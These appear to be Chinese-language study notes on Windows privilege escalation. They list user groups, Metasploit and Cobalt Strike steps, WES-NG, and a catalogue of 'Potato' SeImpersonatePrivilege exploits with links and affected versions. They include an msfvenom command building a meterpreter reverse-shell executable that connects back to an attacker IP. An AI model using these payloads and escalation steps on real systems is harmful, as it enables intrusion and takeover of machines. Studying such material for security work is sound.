权限提升-1
权限提升-1
1、Web语言权限差异
ASP/ASP.NET/PHP/JSP等
权限高低:JSP>ASP.NET>ASP=PHP
使用了java搭建的可以不需要提权,而php需要提权
2、系统用户权限差异
Windows:
System:系统组,拥有管理系统资源的权限,包括文件、目录和注册表等。
Administrators:管理员组,具有对计算机进行完全访问和操作的权限。
Users:用户组,一般用户的默认组别,拥有较低的系统权限。
Guests:
访客组,可以访问计算机上的公共文件夹和打印机,但不能更改配置和安装程序。
Backup Operators:
备份操作员组,允许用户备份和还原数据,但不能更改配置安装程序。
Power Users:高级用户组,拥有比一般用户更高的系统权限,但比管理员组权限低。
Remote Desktop Users:远程桌面用户组,允许用户进行远程桌面连接。
Network Configuration Operators:网络配置操作员组,允许用户管理网络配置。
Performance Log Users:性能日志用户组,允许用户收集性能日志和计数器数据。
Distributed COM Users:
分布式 COM 用户组,允许用户使用分布式 COM 连接到计算机。
IIS_IUSRS: 用于授权IIS相关服务的用户组。
Linux:
系统用户:UID(0-999)
普通用户:UID(1000-*)
root用户:UID为0,拥有系统的完全控制权限
Web到Win-系统提权-MSF&CS
msf
1、生成反弹后门
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.139.141 LPORT=3333 -f exe -o msf.exe |
2、配置监听会话
1 | use exploit/multi/handler |
2.1、筛选EXP模块
全自动:快速识别系统中可能被利用的漏洞
1 | use post/multi/recon/local_exploit_suggester |
3、利用EXP溢出提权
1 | background |
CS
1 | chmod +x ./teamserver |
1,创建CS
2,创建监听器
3,加载脚本插件
手动检测工具:
wes-ng
https://github.com/bitsadmin/wesng
WES-NG 是一款基于 Windows 实用程序输出的工具systeminfo,它提供操作系统易受攻击的漏洞列表,以及针对这些漏洞的任何利用方法。该工具支持 Windows XP 到 Windows 11 之间的所有 Windows 操作系统,包括其对应的 Windows Server 版本。
1 | pip install wesng |
或使用以下命令行下载 WES-NG :
1 | git clone https://github.com/bitsadmin/wesng --depth 1 |
执行命令获取最新的漏洞数据库
1 | wes.py --update |
通过获取对方系统的systeminfo内容,将内容给与wes.py执行查询可能存在的权限提升
https://github.com/Ascotbe/Kernelhub
https://github.com/nomi-sec/PoC-in-GitHub
https://www.exploit-db.com/
土豆家族:
土豆提权原理:
土豆系列提权的核心是NTLM中继,通过欺骗运行在高权限(Administrator/SYSTEM)的账户进行ntlm认证,同时作为中间人对认证过程进行劫持和重放,最后调用本地认证接口使用高权限账号的ntml认证获取一个高权限token,只要当前进程拥有SeImpersonatePrivilege权限即可进行令牌模仿,即可取得对应权限。
https://mp.weixin.qq.com/s/OW4ybuqtErh_ovkTWLSr8w
GodPotato:
https://github.com/BeichenDream/GodPotato
DCOM rpcss在处理ox时存在一些缺陷,rpcss是系统必须开启的服务,所以它几乎可以运行在任何Windows操作系统上。
作用范围:Windows Server 2012 - Windows Server 2022、Windows8 - Windows 11
SweetPotato:
https://github.com/CCob/SweetPotato
作用范围:从Windows 7到Windows 10 / Server 2019
RoguePotato:
https://github.com/antonioCoco/RoguePotato
Rogue Potato通过指定远程 IP(攻击者 IP)指示 DCOM 服务器执行远程 OXID 查询在远程 IP 上,设置一个”socat”侦听器,用于将 OXID 解析请求重定向到一个假的OXID RPC 服务器伪造的OXID RPC 服务器实现了ResolveOxid2服务器过程;该过程将指向受控命名管道[ncacn_np:localhost/pipe/roguepotato[pipeepmapper]DCOM 服务器将连接到 RPC 服务器以执行IRemUnkown2接口调用。通过连接到命名管道,将执行”身份验证回调”,我们可以通过 RpcImpersonateClient()调用模拟调用者。
作用范围:Win 10(部分版本)和Win Server 19
BadPotato:
https://github.com/BeichenDream/BadPotato
利用了一个打印机bug,通过调用RpcRemoteFindFirstPrinterChangeNotificationEx让打印机服务通过命名管道发送通知,强行使SYSTEM连接到目标命名管道,然后通过如上介绍的方法直接获取到SYSTEM权限
作用范围:Windows 2012-2019、Windows 8-10
EfsPotato:
https://github.com/zcgonvh/EfsPotato
利用MS-EFSR EfsRpcEncryptFileSrv带有 SeImpersonatePrivilege 本地权限升级漏洞
作用范围:未知
MultiPotato:
https://github.com/S3cur3Th1sSh1t/MultiPotato
作用范围:未知
CandyPotato:
https://github.com/klezVirus/CandyPotato
0.2 版JuicyPotato。与0.1版本(JuicyPotato)相比,该版本提供了一些改进,例如自动化利用。
作用范围:win10和server2016
RasmanPotato:
https://github.com/crisprss/RasmanPotato
只是另一个土豆,就像其他土豆一样,使用 RasMan 服务进行权限升级
作用范围:Windows 10(11 not test), Windows Server 2012 - 2019(2022 not test)
PetitPotato:
https://github.com/wh0amitz/PetitPotato
通过 PetitPotam 进行本地权限升级(滥用模拟权限)。
作用范围:未知
JuicyPotatoNG:
https://github.com/antonioCoco/JuicyPotatoNG
利用PrintNotify COM服务进行提权。
作用范围:Windows 10 - 11 Windows Server 2012 - 2022
PrintNotifyPotato:
https://github.com/BeichenDream/PrintNotifyPotato
原理:又一个土豆,利用PrintNotify COM服务进行提权,跟JuicyPotatoNG实现相同,只不过JuicyPotatoNG是用c++实现的,而PrintNotifyPotato是用c#实现的。
作用范围:Windows 10 - 11 Windows Server 2012 - 2022
CoercedPotato:
https://github.com/Prepouce/CoercedPotato
在 Windows 10、Windows 11 和 Server 2022 上通过滥用 SeImpersonatePrivilege 从 Patate(本地/网络服务)到 SYSTEM。
作用范围:Windows 10 - 11 Windows Server 2012 - 2022